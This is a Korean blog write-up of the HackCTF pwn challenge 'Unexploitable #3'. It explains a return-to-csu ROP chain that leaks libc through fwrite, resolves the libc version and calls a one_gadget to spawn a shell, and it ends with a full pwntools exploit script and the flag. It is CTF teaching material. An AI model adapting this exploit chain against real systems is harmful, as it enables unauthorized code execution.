ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Unexploitable #3
    CTF/HackCTF 2021. 2. 5. 16:10

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        char *s;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        setvbuf(_reloc.stdin, 0, 2, 0);
        fwrite("Impossible RTL ha? Nothing for you!\n", 1, 0x24, _reloc.stdout);
        fgets(&s, 0x100, _reloc.stdin);
        return 0;
    }

    system 가젯이 사라지고 fgets로 입력받는 버퍼 크기가 0x100바이트로 증가한 것 외에는 Unexploitable #2와 차이가 없다.

    Return-to-csu


    syscall과 system 가젯이 보이지 않으므로 공격을 위해서는 라이브러리 주소에 대한 정보가 필수적이고, 각종 데이터를 leak할 수 있는 함수는 fwrite밖에 없다. 그러나 fwrite을 이용하기 위해서는 rdi, rsi, rdx, rcx 레지스터를 제어할 수 있어야 한다.

     

    __libc_csu_init

    처음 세 인자는 csu 함수를 통해 원하는 대로 조작할 수 있다.

    gift

    rcx를 조작할 수 있는 가젯은 gift 함수에 존재한다. fwrite을 호출할 때 stdout의 심볼 주소를 rdi에 넣고 mov rcx, qword [rdi]를 실행하면 .bss 영역에 적힌 stdout의 라이브러리 주소가 rcx에 적힐 것이다.

     

    reloc.stdout

    fwrite(fgets_got, 1, 0x8, stdout)과 fwrite(fwrite_got, 1, 0x8, stdout)을 연달아 호출해 라이브러리 주소를 구하자.

    payload = b"A"*0x18
    payload += p64(prdi)
    payload += p64(stdout)
    payload += p64(prcx)
    payload += p64(csu_init)
    payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fgets_got)
    payload += p64(csu)
    payload += p64(0)
    payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fwrite_got)
    payload += p64(prdi)
    payload += p64(stdout)
    payload += p64(prcx)
    payload += p64(csu)
    
    p.sendline(payload)
    
    fgets = u64(p.recv(8))
    fwrite = u64(p.recv(8))
    
    log.info("fgets : " + hex(fgets))
    log.info("fwrite : " + hex(fwrite))

    이처럼 둘 이상의 라이브러리 함수 주소를 알고 있으면 offset을 바탕으로 라이브러리 버전을 유추할 수 있다. libc database search를 이용해 라이브러리 버전을 알아내자.

    오른쪽의 매칭 결과를 클릭하면 아래와 같이 주요 가젯들의 주소를 보여준다.

    다운로드 버튼을 눌러 libc를 다운받아 pwntools로 offset을 계산할 수 있도록 하자.

    lib = "libc6_2.23-0ubuntu11_amd64.so"
    l = ELF(lib)
    
    libc = fgets - l.symbols["fgets"]
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    oneshot = libc + 0x4526a
    
    log.info("libc : " + hex(libc))

    이제 system과 binsh 문자열의 주소를 알 수 있음은 물론, oneshot gadget의 위치 또한 구할 수 있다.

     

    oneshot gadget

    fgets로 입력받는 버퍼의 크기가 0x100임을 이용해 [rsp+0x30]을 null로 채울 수 있으므로 oneshot을 이용하자.

    ...
    
    payload += p64(main)
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    ...
    
    payload = b"A"*0x18
    payload += p64(oneshot)
    payload += p64(0)*8
    
    p.recvuntil("!\n")
    p.sendline(payload)

    첫 payload를 전송할 때 main을 다시 호출하도록 한 뒤, 구해낸 라이브러리 주소를 바탕으로 oneshot을 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./Unexploitable_3"
    lib = "libc6_2.23-0ubuntu11_amd64.so"
    server = "ctf.j0n9hyun.xyz"
    port = 3034
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    prcx = 0x00400658 # mov rcx, qword ptr [rdi] ; ret
    
    main = e.symbols["main"]
    stdout = e.symbols["stdout"]
    fwrite_got = e.got["fwrite"]
    fgets_got = e.got["fgets"]
    bss = e.bss()
    
    csu_init = 0x40073a
    csu = 0x400720
    
    payload = b"A"*0x18
    payload += p64(prdi)
    payload += p64(stdout)
    payload += p64(prcx)
    payload += p64(csu_init)
    payload += p64(0) + p64(1) + p64(fwrite_got) + p64(0x8) + p64(1) + p64(fgets_got)
    payload += p64(csu)
    payload += p64(0)*7
    payload += p64(main)
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    fgets = u64(p.recv(8))
    
    libc = fgets - l.symbols["fgets"]
    oneshot = libc + 0x4526a
    
    log.info("libc : " + hex(libc))
    
    payload = b"A"*0x18
    payload += p64(oneshot)
    payload += p64(0)*8
    
    p.recvuntil("!\n")
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{bss_4lw4y5_h4s_std1n/std0ut}

    'CTF > HackCTF' 카테고리의 다른 글

    SysROP  (0) 2021.02.05
    Pwning  (0) 2021.02.05
    babyfsb  (0) 2021.02.05
    Unexploitable #2  (0) 2021.02.05
    RTC  (0) 2021.02.05

    댓글

Designed by Tistory.